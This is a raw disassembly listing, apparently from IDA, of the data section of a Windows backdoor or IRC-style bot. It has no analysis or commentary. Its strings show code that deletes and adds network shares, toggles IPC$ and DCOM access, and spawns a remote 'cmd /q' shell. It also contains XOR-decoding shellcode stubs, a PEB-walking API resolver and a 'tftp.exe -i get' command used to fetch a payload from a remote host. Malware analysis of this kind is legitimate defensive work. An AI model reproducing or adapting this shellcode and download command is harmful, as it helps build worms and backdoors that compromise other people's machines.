db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_438D58 db 2 ; DATA XREF: sub_415F88:loc_4161EAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_438D94 db 2 ; DATA XREF: sub_415F88+25Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 4
unk_438DC8 db 2 ; DATA XREF: sub_415F88:loc_416157o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_438E04 db 2 ; DATA XREF: sub_415F88+1C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_438E38 db 2 ; DATA XREF: sub_415F88:loc_4160BAo
; sub_4162AC:loc_4163DAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_438E78 db 2 ; DATA XREF: sub_415F88:loc_4160B3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_438EC4 db 2 ; DATA XREF: sub_415F88:loc_416095o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_438F08 db 2 ; DATA XREF: sub_415F88+106o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
; sub_4162AC+EDo
align 4
unk_438F68 db 2 ; DATA XREF: sub_415F88+91o
; sub_4162AC+91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_438FA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_415F88:loc_415FF5o
dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h
dd 2E6465h
unk_438FD4 db 2 ; DATA XREF: sub_415F88+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o
; sub_4162AC+54o
align 4
word_439014 dw 4Eh ; DATA XREF: sub_415F88+38r
align 4
unk_439018 db 2 ; DATA XREF: sub_4162AC+2C3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o
unk_439058 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo
; sub_4162AC:loc_41651Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 10h
unk_439090 db 2 ; DATA XREF: sub_4162AC+198o
; sub_4162AC+269o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 10h
unk_4390C0 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_43910C db 2 ; DATA XREF: sub_4162AC:loc_4163B5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_439150 db 2 ; DATA XREF: sub_4162AC+102o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_4162AC:loc_416319o
dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h
dd 2E64h
unk_4391C8 db 2 ; DATA XREF: sub_4162AC+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_4391FC dw 59h ; DATA XREF: sub_4162AC+38r
align 10h
dword_439200 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165C6+DEo
dd 2029671Fh, 2BBBB02h
aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0
align 4
dword_439244 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165C6+59o
; sub_4165C6+8Bo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0
align 4
dword_43929C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+AFo
dd 2029671Fh, 2BBBB02h
aFailedToExecut db ' Failed to execute shell.',0
align 4
dword_4392D4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+7Eo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0
align 4
dword_439324 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+5Co
dd 2029671Fh, 2BBBB02h
aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0
align 4
dword_439374 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416810+C3o
dd 2029671Fh, 2BBBB02h
aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co
align 10h
dword_4393C0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4168E9+A1o
dd 2029671Fh, 2BBBB02h
aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0
align 4
loc_43940C: ; DATA XREF: sub_416C55+C4o
jmp short loc_439410
; ---------------------------------------------------------------------------
loc_43940E: ; CODE XREF: ___:loc_439410p
jmp short loc_439415
; ---------------------------------------------------------------------------
loc_439410: ; CODE XREF: ___:loc_43940Cj
call loc_43940E
loc_439415: ; CODE XREF: ___:loc_43940Ej
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_43941A dw 0FFFFh ; DATA XREF: sub_416C55+CCw
db 80h, 73h, 0Eh
byte_43941F db 0FFh ; DATA XREF: sub_416C55+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_439424: ; DATA XREF: sub_416C55+A2o
jmp short loc_439428
; ---------------------------------------------------------------------------
loc_439426: ; CODE XREF: ___:loc_439428p
jmp short loc_43942D
; ---------------------------------------------------------------------------
loc_439428: ; CODE XREF: ___:loc_439424j
call loc_439426
loc_43942D: ; CODE XREF: ___:loc_439426j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_439431 db 0FFh ; DATA XREF: sub_416C55+AAw
dw 7380h
db 0Ch
byte_439435 db 0FFh ; DATA XREF: sub_416C55+B0w
dw 0E243h
dd 0F9h
dword_43943C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_416ADE+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0 dd 12h ; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o
aJ db 'j',0
db 0E8h
dword_4394B9 dd 17h ; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_4394C0
retn
; ---------------------------------------------------------------------------
byte_4394C0 db 0E8h ; CODE XREF: ___:004394BDj
dword_4394C1 dd 1 ; DATA XREF: sub_416ADE+45w
byte_4394C5 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_4394CF dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_439550 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ...
align 10h
dword_439560 dd 173Fh ; DATA XREF: sub_417CA4+Dr
dd 9875h, 9873h
off_43956C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r
dd offset nullsub_2
dd offset nullsub_2
dword_439578 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr
dword_43957C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o
; sub_418276+2o
off_439590 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr
dword_439594 dd 2 ; DATA XREF: sub_41F84C+Er
; sub_41F885+46r ...
off_439598 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr
; sub_419E38+457r
; "(null)"
off_43959C dd offset aNull ; DATA XREF: sub_419E38+259r
; "(null)"
off_4395A0 dd offset word_4395AA ; DATA XREF: sub_417794+23r
; sub_417794:loc_4177F5r ...
off_4395A4 dd offset word_4395AA ; DATA XREF: sub_422EB1+18r
db 2 dup(0)
word_4395AA dw 20h ; DATA XREF: sub_42102E+18r
; ___:off_4395A0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC dd 1 ; DATA XREF: sub_417794:loc_41779Cr
; sub_417794:loc_4177E0r ...
byte_4397B0 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr
; sub_41C8C9+4r ...
align 4
dd 1, 10h, 0
off_4397C0 dd offset off_4397C0 ; DATA XREF: sub_41B888+Do
; sub_41B888+69o ...
off_4397C4 dd offset off_4397C0 ; DATA XREF: sub_41B888:loc_41B908r
; sub_41B888+89w ...
dd offset dword_4397D8
dd offset dword_4397D8
dword_4397D0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r
; sub_41B9CC:loc_41BA19w
dd 0FFFFFFFFh
dword_4397D8 dd 0F0h, 0F1h, 338h dup(0) ; DATA XREF: ___:004397C8o
; ___:004397CCo
dword_43A4C0 dd 4C8h dup(0) ; DATA XREF: Themida_:loc_50E849o
off_43B7E0 dd offset off_4397C0 ; DATA XREF: sub_41B9CC+15r
; sub_41B9CC+20w ...
dword_43B7E4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r
; sub_41944F+185r ...
dword_43B7E8 dd 14h ; DATA XREF: sub_41C5B8+2o
off_43B7EC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r
; "exp"
dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh
dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
dd 23h, 424764h, 24h, 424760h
dbl_43B8C0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r
; sub_41C2F3:loc_41C3DAr ...
dd 0
dd 0FFF80000h
dbl_43B8D0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r
; sub_41C2F3:loc_41C3B2r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43B8E8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
; sub_41C7A0+1Fr
align 4
tbyte_43B8F4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
align 10h
off_43B900 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw
; sub_419E38+3AAr
off_43B904 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w
; sub_419E38+3E2r
off_43B908 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w
; sub_41D797+430r
off_43B90C dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew
; sub_419E38+3CBr
off_43B910 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w
off_43B914 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w
dd offset sub_42086E
align 10h
dd offset sub_41D4FC
off_43B924 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r
dword_43B928 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938 db 1 ; DATA XREF: sub_41E92D+E1r
db 2, 4, 8
align 10h
dword_43B940 dd 3A4h ; DATA XREF: sub_41E92D+2Fo
dword_43B944 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr
dword_43B950 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30 dd 1 ; DATA XREF: sub_41E92D+3Co
; sub_41EF44+Co
dword_43BA34 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98 dd 0C0000005h ; DATA XREF: sub_41EF44+19o
; sub_41F0EC+Ar ...
dword_43BB9C dd 0Bh ; DATA XREF: sub_421D69+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43BC10 dd 3 ; DATA XREF: ___:0041F003r
; sub_421C3C+C8r
dword_43BC14 dd 7 ; DATA XREF: ___:0041F009r
; sub_421C3C+CDr
dword_43BC18 dd 0Ah ; DATA XREF: sub_41F0EC+4r
; sub_421D69+4r
dword_43BC1C dd 8Ch ; DATA XREF: ___:0041F02Dr
; ___:0041F03Aw ...
dword_43BC20 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o
; sub_41E248:loc_41E2C9o
dword_43BC28 dd 2 ; DATA XREF: sub_41F885+Eo
; sub_41F885+28r
off_43BC2C dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
; sub_41F885+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h
dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
dd 0FFh, 4248F8h
off_43BCB8 dd offset dword_48A320 ; DATA XREF: sub_41F885+1Bo
; sub_41FA42+55o
align 10h
dd offset dword_48A320
dd 101h
dword_43BCC8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o
dd 1000h, 0
dword_43BCD8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o
; sub_41A8A2+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o
; sub_41A8A2:loc_41A8C0o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo
dword_43BF38 dd 2694h ; DATA XREF: sub_41BF55+3r
; sub_41BFA8+46r ...
align 10h
dword_43BF40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo
dword_43BF58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70 dd 7080h ; DATA XREF: sub_41D609+76r
; sub_42094E+5Ew ...
dword_43BF74 dd 1 ; DATA XREF: sub_41D609+98r
; sub_42094E+8Bw ...
dword_43BF78 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr
; sub_42094E+94w ...
off_43BF7C dd offset dword_545350 ; DATA XREF: ___:off_43BFFCo
dd 0Fh dup(0)
off_43BFBC dd offset dword_544450 ; DATA XREF: ___:off_43C000o
dd 0Fh dup(0)
off_43BFFC dd offset off_43BF7C ; DATA XREF: sub_42094E+BAr
; sub_42094E+D9r ...
off_43C000 dd offset off_43BFBC ; DATA XREF: sub_42094E+F4r
; sub_42094E+11Br ...
align 8
dword_43C008 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw
; sub_420BAC+1Er ...
dword_43C00C dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r
; sub_420D58+BFw
dword_43C010 dd 0 ; DATA XREF: sub_420BAC+192r
; sub_420D58+E0w
align 8
dword_43C018 dd 0FFFFFFFFh ; DATA XREF: sub_42094E:loc_420965w
; sub_420BAC+26r ...
dword_43C01C dd 0 ; DATA XREF: sub_420BAC+13Ar
; sub_420D58+EAw ...
dword_43C020 dd 0 ; DATA XREF: sub_420BAC+1A1r
; sub_420D58+23r ...
dword_43C024 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43C054 dd 16Dh ; DATA XREF: sub_41D609+2Ar
; sub_420D58+2Er ...
dword_43C058 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43C090 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43C1F0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4220C1+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43C34C dd offset off_424D00 ; DATA XREF: ___:00424EDCo
; ___:00424FC8o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43C364 dd offset off_424D00 ; DATA XREF: ___:off_424D90o
; ___:00424DD0o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43C384 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o
; ___:00424E1Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
dd offset off_424D00
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 8
off_43C3C8 dd offset off_424D00 ; DATA XREF: ___:00424EACo
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42086E
align 8
byte_43C3E8 db 0 ; DATA XREF: sub_40144A+1D3w
; sub_40144A+2D2o
align 2
word_43C3EA dw 0 ; DATA XREF: sub_40144A+1E3w
word_43C3EC dw 0 ; DATA XREF: sub_40144A+1E9w
word_43C3EE dw 0 ; DATA XREF: sub_40144A+1F0w
byte_43C3F0 db 0 ; DATA XREF: sub_40144A+1F7w
byte_43C3F1 db 0 ; DATA XREF: sub_40144A+1FEw
word_43C3F2 dw 0 ; DATA XREF: sub_40144A+204w
dword_43C3F4 dd 0 ; DATA XREF: sub_40144A+234w
; sub_40144A+250w
dword_43C3F8 dd 0 ; DATA XREF: sub_40144A+258w
